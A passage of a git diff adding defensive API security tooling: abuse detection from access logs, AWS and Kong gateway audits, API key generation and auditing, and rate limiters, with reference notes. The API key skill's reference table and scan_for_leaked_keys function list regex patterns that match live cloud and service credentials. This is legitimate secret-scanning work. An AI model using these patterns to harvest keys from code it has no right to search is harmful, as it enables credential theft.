+if __name__ == "__main__": + main() diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE b/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md b/skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md new file mode 100644 index 00000000..2f8aea24 --- /dev/null +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/references/api-reference.md @@ -0,0 +1,73 @@ +# API Reference: Implementing API Abuse Detection with Rate Limiting + +## Redis Token Bucket (Python) + +```python +import redis, time +r = redis.Redis() + +# Lua-based atomic token bucket +lua = """ +local tokens = tonumber(redis.call('HGET', KEYS[1], 'tokens') or ARGV[1]) +local last = tonumber(redis.call('HGET', KEYS[1], 'last') or ARGV[3]) +local elapsed = ARGV[3] - last +tokens = math.min(tonumber(ARGV[1]), tokens + elapsed * tonumber(ARGV[2])) +if tokens >= 1 then + tokens = tokens - 1 + redis.call('HMSET', KEYS[1], 'tokens', tokens, 'last', ARGV[3]) + return 1 +end +return 0 +""" +allowed = r.eval(lua, 1, f"rl:{client_ip}", max_tokens, refill_rate, time.time()) +``` + +## Rate Limit Response Headers + +| Header | Description | +|--------|-------------| +| `X-RateLimit-Limit` | Maximum requests allowed | +| `X-RateLimit-Remaining` | Requests remaining | +| `X-RateLimit-Reset` | Unix timestamp when limit resets | +| `Retry-After` | Seconds until client can retry | + +## NGINX Rate Limiting + +```nginx +limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; +location /api/ { + limit_req zone=api burst=20 nodelay; + limit_req_status 429; +} +``` + +## Abuse Detection Thresholds + +| Attack Type | Indicator | Threshold | +|-------------|-----------|-----------| +| Brute Force | Auth failures/IP | > 10 in 5 min | +| Credential Stuffing | Unique users/IP | > 20 | +| API Scraping | Requests/IP | > 500/hr | +| Rate Bypass | User-Agent rotation | > 10 unique UAs | + +## Flask-Limiter + +```python +from flask import Flask +from flask_limiter import Limiter +from flask_limiter.util import get_remote_address + +app = Flask(__name__) +limiter = Limiter(get_remote_address, app=app, default_limits=["100/minute"]) + +@app.route("/api/login") +@limiter.limit("5/minute") +def login(): + pass +``` + +### References + +- Redis Rate Limiting: https://redis.io/glossary/rate-limiting/ +- Flask-Limiter: https://flask-limiter.readthedocs.io/ +- IETF RateLimit Headers: https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/ diff --git a/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py b/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py new file mode 100644 index 00000000..dc70c28b --- /dev/null +++ b/skills/implementing-api-abuse-detection-with-rate-limiting/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Agent for implementing API abuse detection with rate limiting analysis.""" + +import json +import argparse +import re +from datetime import datetime +from collections import defaultdict, Counter +from pathlib import Path + + +def load_access_logs(log_path): + """Load API access logs from JSON lines.""" + entries = [] + with open(log_path) as f: + for line in f: + try: + entries.append(json.loads(line)) + except json.JSONDecodeError: + continue + return entries + + +def detect_brute_force(logs, failure_threshold=10, window_minutes=5): + """Detect brute force attacks by counting auth failures per IP.""" + ip_failures = defaultdict(list) + for entry in logs: + status = entry.get("status_code", entry.get("status", 0)) + if int(status) in (401, 403): + ip = entry.get("client_ip", entry.get("ip", "")) + ts = entry.get("timestamp", "") + ip_failures[ip].append(ts) + findings = [] + for ip, timestamps in ip_failures.items(): + if len(timestamps) >= failure_threshold: + findings.append({ + "client_ip": ip, + "auth_failures": len(timestamps), + "severity": "CRITICAL" if len(timestamps) > 50 else "HIGH", + "category": "brute_force", + "first_seen": timestamps[0], + "last_seen": timestamps[-1], + }) + return sorted(findings, key=lambda x: x["auth_failures"], reverse=True) + + +def detect_api_scraping(logs, threshold=500): + """Detect API scraping by high request volume per IP.""" + ip_counts = Counter() + ip_endpoints = defaultdict(set) + for entry in logs: + ip = entry.get("client_ip", entry.get("ip", "")) + endpoint = entry.get("path", entry.get("endpoint", "")) + ip_counts[ip] += 1 + ip_endpoints[ip].add(endpoint) + findings = [] + for ip, count in ip_counts.items(): + if count >= threshold: + findings.append({ + "client_ip": ip, + "total_requests": count, + "unique_endpoints": len(ip_endpoints[ip]), + "severity": "HIGH", + "category": "api_scraping", + }) + return sorted(findings, key=lambda x: x["total_requests"], reverse=True) + + +def detect_credential_stuffing(logs, threshold=20): + """Detect credential stuffing: many unique usernames from single IP.""" + ip_users = defaultdict(set) + for entry in logs: + if entry.get("path", "").endswith(("/login", "/auth", "/signin")): + ip = entry.get("client_ip", entry.get("ip", "")) + user = entry.get("username", entry.get("user", "")) + if user: + ip_users[ip].add(user) + findings = [] + for ip, users in ip_users.items(): + if len(users) >= threshold: + findings.append({ + "client_ip": ip, + "unique_usernames": len(users), + "severity": "CRITICAL", + "category": "credential_stuffing", + }) + return sorted(findings, key=lambda x: x["unique_usernames"], reverse=True) + + +def detect_rate_limit_bypass(logs): + """Detect attempts to bypass rate limiting.""" + findings = [] + ip_ua_combos = defaultdict(set) + for entry in logs: + ip = entry.get("client_ip", entry.get("ip", "")) + ua = entry.get("user_agent", "") + ip_ua_combos[ip].add(ua) + for ip, agents in ip_ua_combos.items(): + if len(agents) >= 10: + findings.append({ + "client_ip": ip, + "unique_user_agents": len(agents), + "severity": "HIGH", + "category": "ua_rotation", + "reason": "Rotating User-Agent to bypass rate limits", + }) + ip_429_count = Counter() + for entry in logs: + if int(entry.get("status_code", entry.get("status", 0))) == 429: + ip = entry.get("client_ip", entry.get("ip", "")) + ip_429_count[ip] += 1 + for ip, count in ip_429_count.items(): + if count >= 50: + findings.append({ + "client_ip": ip, + "rate_limit_hits": count, + "severity": "MEDIUM", + "category": "rate_limit_persistence", + "reason": "Continuing requests after rate limiting", + }) + return findings + + +def generate_rate_limit_config(logs): + """Generate recommended rate limit configuration based on traffic patterns.""" + endpoint_counts = Counter() + for entry in logs: + path = entry.get("path", entry.get("endpoint", "")) + endpoint_counts[path] += 1 + auth_endpoints = [p for p in endpoint_counts if any( + k in p for k in ["login", "auth", "signin", "register", "password"])] + config = { + "global": {"requests_per_minute": 100, "burst": 20}, + "auth_endpoints": { + "endpoints": auth_endpoints, + "requests_per_minute": 10, + "burst": 3, + "block_duration_seconds": 300, + }, + "sensitive_endpoints": { + "endpoints": ["/api/admin", "/api/users", "/api/export"], + "requests_per_minute": 30, + "burst": 5, + }, + } + return config + + +def main(): + parser = argparse.ArgumentParser(description="API Abuse Detection Agent") + parser.add_argument("--log", required=True, help="API access log (JSON lines)") + parser.add_argument("--output", default="api_abuse_report.json") + parser.add_argument("--action", choices=[ + "brute_force", "scraping", "stuffing", "bypass", "config", "full_analysis" + ], default="full_analysis") + args = parser.parse_args() + + logs = load_access_logs(args.log) + report = {"generated_at": datetime.utcnow().isoformat(), "total_requests": len(logs), + "findings": {}} + print(f"[+] Loaded {len(logs)} API requests") + + if args.action in ("brute_force", "full_analysis"): + f = detect_brute_force(logs) + report["findings"]["brute_force"] = f + print(f"[+] Brute force sources: {len(f)}") + + if args.action in ("scraping", "full_analysis"): + f = detect_api_scraping(logs) + report["findings"]["api_scraping"] = f + print(f"[+] Scraping sources: {len(f)}") + + if args.action in ("stuffing", "full_analysis"): + f = detect_credential_stuffing(logs) + report["findings"]["credential_stuffing"] = f + print(f"[+] Credential stuffing sources: {len(f)}") + + if args.action in ("bypass", "full_analysis"): + f = detect_rate_limit_bypass(logs) + report["findings"]["bypass_attempts"] = f + print(f"[+] Rate limit bypass attempts: {len(f)}") + + if args.action in ("config", "full_analysis"): + config = generate_rate_limit_config(logs) + report["findings"]["recommended_config"] = config + print("[+] Rate limit config generated") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-gateway-security-controls/LICENSE b/skills/implementing-api-gateway-security-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-gateway-security-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-gateway-security-controls/references/api-reference.md b/skills/implementing-api-gateway-security-controls/references/api-reference.md new file mode 100644 index 00000000..4de3b7e9 --- /dev/null +++ b/skills/implementing-api-gateway-security-controls/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Implementing API Gateway Security Controls + +## AWS API Gateway (boto3) + +```python +import boto3 +client = boto3.client("apigateway") +apis = client.get_rest_apis()["items"] +method = client.get_method(restApiId=api_id, resourceId=res_id, httpMethod="GET") +# Check: authorizationType, apiKeyRequired, requestValidatorId +stages = client.get_stages(restApiId=api_id)["item"] +# Check: accessLogSettings, methodSettings throttling +``` + +## Kong Admin API + +```bash +# List services and their plugins +curl http://localhost:8001/services +curl http://localhost:8001/services/{id}/plugins + +# Enable rate limiting +curl -X POST http://localhost:8001/services/{id}/plugins \ + -d "name=rate-limiting" -d "config.minute=100" + +# Enable JWT auth +curl -X POST http://localhost:8001/services/{id}/plugins \ + -d "name=jwt" +``` + +## Security Controls Checklist + +| Control | Gateway | Severity if Missing | +|---------|---------|---------------------| +| Authentication (JWT/OAuth) | All | CRITICAL | +| Rate Limiting | All | HIGH | +| Request Validation | All | MEDIUM | +| Access Logging | All | HIGH | +| TLS/mTLS | All | CRITICAL | +| CORS Policy | All | MEDIUM | +| IP Restriction | All | LOW | + +## NGINX Gateway Security + +```nginx +location /api/ { + limit_req zone=api burst=20 nodelay; + proxy_set_header X-Real-IP $remote_addr; + proxy_pass http://backend; + add_header X-Content-Type-Options nosniff; + add_header X-Frame-Options DENY; +} +``` + +### References + +- AWS API Gateway: https://docs.aws.amazon.com/apigateway/ +- Kong Gateway: https://docs.konghq.com/gateway/ +- Azure APIM: https://learn.microsoft.com/en-us/azure/api-management/ diff --git a/skills/implementing-api-gateway-security-controls/scripts/agent.py b/skills/implementing-api-gateway-security-controls/scripts/agent.py new file mode 100644 index 00000000..8fa423a9 --- /dev/null +++ b/skills/implementing-api-gateway-security-controls/scripts/agent.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +"""Agent for auditing API gateway security controls (Kong, AWS API Gateway).""" + +import json +import argparse +from datetime import datetime + +try: + import boto3 +except ImportError: + boto3 = None + +try: + import requests +except ImportError: + requests = None + + +def audit_aws_api_gateway(region="us-east-1"): + """Audit AWS API Gateway configurations for security issues.""" + if boto3 is None: + return {"error": "boto3 not installed"} + client = boto3.client("apigateway", region_name=region) + findings = [] + apis = client.get_rest_apis()["items"] + for api in apis: + api_id = api["id"] + api_name = api["name"] + resources = client.get_resources(restApiId=api_id)["items"] + for resource in resources: + for method_key in resource.get("resourceMethods", {}): + method = client.get_method(restApiId=api_id, + resourceId=resource["id"], httpMethod=method_key) + auth_type = method.get("authorizationType", "NONE") + api_key_req = method.get("apiKeyRequired", False) + if auth_type == "NONE" and not api_key_req: + findings.append({ + "api": api_name, "resource": resource["path"], + "method": method_key, "issue": "no_authentication", + "severity": "CRITICAL", + }) + if not method.get("requestValidatorId"): + findings.append({ + "api": api_name, "resource": resource["path"], + "method": method_key, "issue": "no_request_validation", + "severity": "MEDIUM", + }) + stages = client.get_stages(restApiId=api_id)["item"] + for stage in stages: + if not stage.get("accessLogSettings"): + findings.append({ + "api": api_name, "stage": stage["stageName"], + "issue": "no_access_logging", "severity": "HIGH", + }) + throttle = stage.get("methodSettings", {}).get("*/*", {}) + if not throttle.get("throttlingRateLimit"): + findings.append({ + "api": api_name, "stage": stage["stageName"], + "issue": "no_rate_limiting", "severity": "HIGH", + }) + return findings + + +def audit_kong_gateway(admin_url="http://localhost:8001"): + """Audit Kong API Gateway plugin configurations.""" + findings = [] + services = requests.get(f"{admin_url}/services").json().get("data", []) + for svc in services: + svc_id = svc["id"] + svc_name = svc.get("name", svc_id) + plugins = requests.get(f"{admin_url}/services/{svc_id}/plugins").json().get("data", []) + plugin_names = {p["name"] for p in plugins} + if "key-auth" not in plugin_names and "jwt" not in plugin_names and "oauth2" not in plugin_names: + findings.append({ + "service": svc_name, "issue": "no_auth_plugin", + "severity": "CRITICAL", + }) + if "rate-limiting" not in plugin_names and "rate-limiting-advanced" not in plugin_names: + findings.append({ + "service": svc_name, "issue": "no_rate_limiting", + "severity": "HIGH", + }) + if "cors" not in plugin_names: + findings.append({ + "service": svc_name, "issue": "no_cors_plugin", + "severity": "MEDIUM", + }) + if "ip-restriction" not in plugin_names: + findings.append({ + "service": svc_name, "issue": "no_ip_restriction", + "severity": "LOW", + }) + return findings + + +def analyze_gateway_logs(log_path): + """Analyze API gateway access logs for security issues.""" + findings = [] + status_counts = {} + ip_counts = {} + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + status = int(entry.get("status", entry.get("status_code", 0))) + ip = entry.get("client_ip", entry.get("ip", "")) + status_counts[status] = status_counts.get(status, 0) + 1 + ip_counts[ip] = ip_counts.get(ip, 0) + 1 + total = sum(status_counts.values()) + error_rate = sum(v for k, v in status_counts.items() if k >= 400) / max(total, 1) + if error_rate > 0.1: + findings.append({ + "issue": "high_error_rate", "error_rate": round(error_rate, 3), + "severity": "HIGH", + }) + for ip, count in sorted(ip_counts.items(), key=lambda x: -x[1])[:10]: + if count > total * 0.3: + findings.append({ + "issue": "traffic_concentration", "ip": ip, + "request_pct": round(count / total * 100, 1), "severity": "MEDIUM", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="API Gateway Security Audit Agent") + parser.add_argument("--action", choices=["aws", "kong", "logs", "full"], default="full") + parser.add_argument("--kong-url", default="http://localhost:8001") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--log", help="Gateway access log (JSON lines)") + parser.add_argument("--output", default="api_gateway_audit_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action in ("aws", "full"): + findings = audit_aws_api_gateway(args.region) + report["findings"]["aws_api_gateway"] = findings + print(f"[+] AWS API Gateway findings: {len(findings)}") + + if args.action in ("kong", "full"): + findings = audit_kong_gateway(args.kong_url) + report["findings"]["kong_gateway"] = findings + print(f"[+] Kong Gateway findings: {len(findings)}") + + if args.action in ("logs", "full") and args.log: + findings = analyze_gateway_logs(args.log) + report["findings"]["log_analysis"] = findings + print(f"[+] Log analysis findings: {len(findings)}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-key-security-controls/LICENSE b/skills/implementing-api-key-security-controls/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-key-security-controls/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-key-security-controls/references/api-reference.md b/skills/implementing-api-key-security-controls/references/api-reference.md new file mode 100644 index 00000000..54989e7c --- /dev/null +++ b/skills/implementing-api-key-security-controls/references/api-reference.md @@ -0,0 +1,48 @@ +# API Reference: Implementing API Key Security Controls + +## Secure Key Generation + +```python +import secrets, hashlib +key = f"sk_{secrets.token_hex(32)}" +key_hash = hashlib.sha256(key.encode()).hexdigest() # Store hash only +``` + +## Leaked Key Patterns + +| Pattern | Service | +|---------|---------| +| `sk_live_[a-zA-Z0-9]{24,}` | Stripe | +| `AKIA[0-9A-Z]{16}` | AWS | +| `AIza[0-9A-Za-z_-]{35}` | Google | +| `ghp_[a-zA-Z0-9]{36}` | GitHub PAT | +| `sk-[a-zA-Z0-9]{48}` | OpenAI | + +## Key Rotation Policy + +| Criteria | Threshold | Severity | +|----------|-----------|----------| +| Key age > 90 days | Rotation required | HIGH | +| Unused > 30 days | Revocation candidate | MEDIUM | +| Wildcard scope | Scope reduction needed | HIGH | +| Shared across IPs | Possible leak | HIGH | + +## TruffleHog Scanning + +```bash +trufflehog filesystem --directory /path/to/code --json +trufflehog git https://github.com/org/repo --json +``` + +## GitHub Secret Scanning API + +```bash +curl -H "Authorization: token $TOKEN" \ + https://api.github.com/repos/OWNER/REPO/secret-scanning/alerts +``` + +### References + +- GitHub Secret Scanning: https://docs.github.com/en/code-security/secret-scanning +- TruffleHog: https://github.com/trufflesecurity/trufflehog +- OWASP API Key Management: https://cheatsheetseries.owasp.org/cheatsheets/API_Security_Cheat_Sheet.html diff --git a/skills/implementing-api-key-security-controls/scripts/agent.py b/skills/implementing-api-key-security-controls/scripts/agent.py new file mode 100644 index 00000000..6d6fa77d --- /dev/null +++ b/skills/implementing-api-key-security-controls/scripts/agent.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing API key security controls.""" + +import json +import argparse +import hashlib +import secrets +import re +from datetime import datetime, timedelta +from pathlib import Path + + +def generate_api_key(prefix="sk", length=32): + """Generate a secure API key with prefix and checksum.""" + random_part = secrets.token_hex(length) + checksum = hashlib.sha256(random_part.encode()).hexdigest()[:6] + key = f"{prefix}_{random_part}_{checksum}" + key_hash = hashlib.sha256(key.encode()).hexdigest() + return {"api_key": key, "key_hash": key_hash, "prefix": prefix, "entropy_bits": length * 8} + + +def hash_api_key(api_key): + """Hash an API key for secure storage using SHA-256.""" + return hashlib.sha256(api_key.encode()).hexdigest() + + +def scan_for_leaked_keys(file_path, patterns=None): + """Scan files for leaked API key patterns.""" + if patterns is None: + patterns = [ + (r"sk_live_[a-zA-Z0-9]{24,}", "Stripe live key"), + (r"AKIA[0-9A-Z]{16}", "AWS access key"), + (r"AIza[0-9A-Za-z_-]{35}", "Google API key"), + (r"ghp_[a-zA-Z0-9]{36}", "GitHub PAT"), + (r"xox[baprs]-[a-zA-Z0-9-]+", "Slack token"), + (r"sk-[a-zA-Z0-9]{48}", "OpenAI key"), + (r"[a-f0-9]{32}", "Generic hex key (32 char)"), + ] + findings = [] + with open(file_path) as f: + for i, line in enumerate(f, 1): + for pattern, desc in patterns: + matches = re.findall(pattern, line) + for match in matches: + findings.append({ + "file": str(file_path), "line": i, + "pattern": desc, "key_preview": match[:8] + "...", + "severity": "CRITICAL", + }) + return findings + + +def audit_key_rotation(key_inventory_path): + """Audit API key age and rotation compliance.""" + with open(key_inventory_path) as f: + keys = json.load(f) + findings = [] + now = datetime.utcnow() + for key in keys: + created = datetime.fromisoformat(key.get("created_at", now.isoformat())) + age_days = (now - created).days + last_used = key.get("last_used_at") + scopes = key.get("scopes", []) + if age_days > 90: + findings.append({ + "key_id": key.get("id", ""), "owner": key.get("owner", ""), + "age_days": age_days, "issue": "key_age_exceeds_90_days", + "severity": "HIGH", + }) + if last_used: + unused_days = (now - datetime.fromisoformat(last_used)).days + if unused_days > 30: + findings.append({ + "key_id": key.get("id", ""), "owner": key.get("owner", ""), + "unused_days": unused_days, "issue": "inactive_key", + "severity": "MEDIUM", + }) + if not scopes or "*" in scopes: + findings.append({ + "key_id": key.get("id", ""), "owner": key.get("owner", ""), + "scopes": scopes, "issue": "overly_broad_scope", + "severity": "HIGH", + }) + return sorted(findings, key=lambda x: x.get("age_days", 0), reverse=True) + + +def analyze_key_usage(usage_log_path): + """Analyze API key usage patterns for anomalies.""" + entries = [] + with open(usage_log_path) as f: + for line in f: + try: + entries.append(json.loads(line)) + except json.JSONDecodeError: + continue + from collections import Counter, defaultdict + key_ips = defaultdict(set) + key_errors = Counter() + for entry in entries: + key_id = entry.get("api_key_id", "") + ip = entry.get("client_ip", "") + status = int(entry.get("status_code", 200)) + key_ips[key_id].add(ip) + if status >= 400: + key_errors[key_id] += 1 + findings = [] + for key_id, ips in key_ips.items(): + if len(ips) > 10: + findings.append({ + "key_id": key_id, "unique_ips": len(ips), + "issue": "key_shared_across_many_ips", "severity": "HIGH", + }) + for key_id, errors in key_errors.most_common(10): + if errors > 100: + findings.append({ + "key_id": key_id, "error_count": errors, + "issue": "high_error_rate", "severity": "MEDIUM", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="API Key Security Controls Agent") + parser.add_argument("--action", choices=[ + "generate", "scan", "audit_rotation", "analyze_usage", "full" + ], default="full") + parser.add_argument("--file", help="File to scan for leaked keys") + parser.add_argument("--inventory", help="Key inventory JSON") + parser.add_argument("--usage-log", help="Key usage log (JSON lines)") + parser.add_argument("--output", default="api_key_audit_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}} + + if args.action == "generate": + key = generate_api_key() + report["generated_key"] = key + print(f"[+] Generated key: {key['api_key'][:20]}...") + + if args.action in ("scan", "full") and args.file: + f = scan_for_leaked_keys(args.file) + report["findings"]["leaked_keys"] = f + print(f"[+] Leaked keys found: {len(f)}") + + if args.action in ("audit_rotation", "full") and args.inventory: + f = audit_key_rotation(args.inventory) + report["findings"]["rotation_audit"] = f + print(f"[+] Rotation issues: {len(f)}") + + if args.action in ("analyze_usage", "full") and args.usage_log: + f = analyze_key_usage(args.usage_log) + report["findings"]["usage_anomalies"] = f + print(f"[+] Usage anomalies: {len(f)}") + + with open(args.output, "w") as fout: + json.dump(report, fout, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-api-rate-limiting-and-throttling/LICENSE b/skills/implementing-api-rate-limiting-and-throttling/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-api-rate-limiting-and-throttling/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md b/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md new file mode 100644 index 00000000..ba707fc6 --- /dev/null +++ b/skills/implementing-api-rate-limiting-and-throttling/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Implementing API Rate Limiting and Throttling + +## Token Bucket Algorithm + +```python +import time +class TokenBucket: + def __init__(self, capacity, refill_rate): + self.capacity = capacity + self.tokens = capacity + self.refill_rate = refill_rate # tokens/sec + self.last_refill = time.time() + + def allow(self): + now = time.time() + self.tokens = min(self.capacity, + self.tokens + (now - self.last_refill) * self.refill_rate) + self.last_refill = now + if self.tokens >= 1: + self.tokens -= 1 + return True + return False +``` + +## Redis Sliding Window + +```python +import redis, time +r = redis.Redis() +def check_rate(client_id, window=60, limit=100): + key = f"rl:{client_id}" + now = time.time() + pipe = r.pipeline() + pipe.zremrangebyscore(key, 0, now - window) + pipe.zadd(key, {str(now): now}) + pipe.zcard(key) + pipe.expire(key, window) + _, _, count, _ = pipe.execute() + return count <= limit +``` + +## HTTP 429 Response Headers + +| Header | Value | Description | +|--------|-------|-------------| +| `Retry-After` | `30` | Seconds until retry | +| `X-RateLimit-Limit` | `100` | Max requests | +| `X-RateLimit-Remaining` | `0` | Remaining requests | +| `X-RateLimit-Reset` | epoch | Reset timestamp | + +## Kong Rate Limiting Plugin + +```bash +curl -X POST http://localhost:8001/services/{id}/plugins \ + -d "name=rate-limiting" \ + -d "config.minute=100" \ + -d "config.policy=redis" \ + -d "config.redis_host=redis" +``` + +### References + +- Redis Rate Limiting: https://redis.io/glossary/rate-limiting/ +- IETF RateLimit Headers: https://datatracker.ietf.org/doc/draft-ietf-httpapi-ratelimit-headers/ +- Kong Rate Limiting: https://docs.konghq.com/hub/kong-inc/rate-limiting/ diff --git a/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py b/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py new file mode 100644 index 00000000..c28f22de --- /dev/null +++ b/skills/implementing-api-rate-limiting-and-throttling/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""Agent for implementing and testing API rate limiting and throttling.""" + +import json +import argparse +import time +from datetime import datetime +from collections import defaultdict, Counter + + +class TokenBucket: + """In-memory token bucket rate limiter.""" + def __init__(self, max_tokens=100, refill_rate=10.0): + self.max_tokens = max_tokens + self.refill_rate = refill_rate + self.buckets = {} + + def allow(self, client_id): + now = time.time() + if client_id not in self.buckets: + self.buckets[client_id] = {"tokens": self.max_tokens, "last": now} + bucket = self.buckets[client_id] + elapsed = now - bucket["last"] + bucket["tokens"] = min(self.max_tokens, bucket["tokens"] + elapsed * self.refill_rate) + bucket["last"] = now + if bucket["tokens"] >= 1: + bucket["tokens"] -= 1 + return True, {"remaining": int(bucket["tokens"]), "limit": self.max_tokens} + return False, {"remaining": 0, "retry_after": round((1 - bucket["tokens"]) / self.refill_rate, 2)} + + +class SlidingWindow: + """In-memory sliding window rate limiter.""" + def __init__(self, window_seconds=60, max_requests=100): + self.window = window_seconds + self.max_requests = max_requests + self.requests = defaultdict(list) + + def allow(self, client_id): + now = time.time() + cutoff = now - self.window + self.requests[client_id] = [t for t in self.requests[client_id] if t > cutoff] + current = len(self.requests[client_id]) + if current < self.max_requests: + self.requests[client_id].append(now) + return True, {"remaining": self.max_requests - current - 1, "window": self.window} + return False, {"remaining": 0, "retry_after": round(self.requests[client_id][0] - cutoff, 2)} + + +def analyze_rate_limit_effectiveness(log_path): + """Analyze API logs to assess rate limiting effectiveness.""" + ip_requests = Counter() + ip_429s = Counter() + endpoint_load = Counter() + with open(log_path) as f: + for line in f: + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + ip = entry.get("client_ip", entry.get("ip", "")) + status = int(entry.get("status_code", entry.get("status", 0))) + endpoint = entry.get("path", entry.get("endpoint", "")) + ip_requests[ip] += 1 + if status == 429: + ip_429s[ip] += 1 + endpoint_load[endpoint] += 1 + findings = [] + for ip, total in ip_requests.most_common(20): + rate_limited = ip_429s.get(ip, 0) + if total > 1000 and rate_limited == 0: + findings.append({ 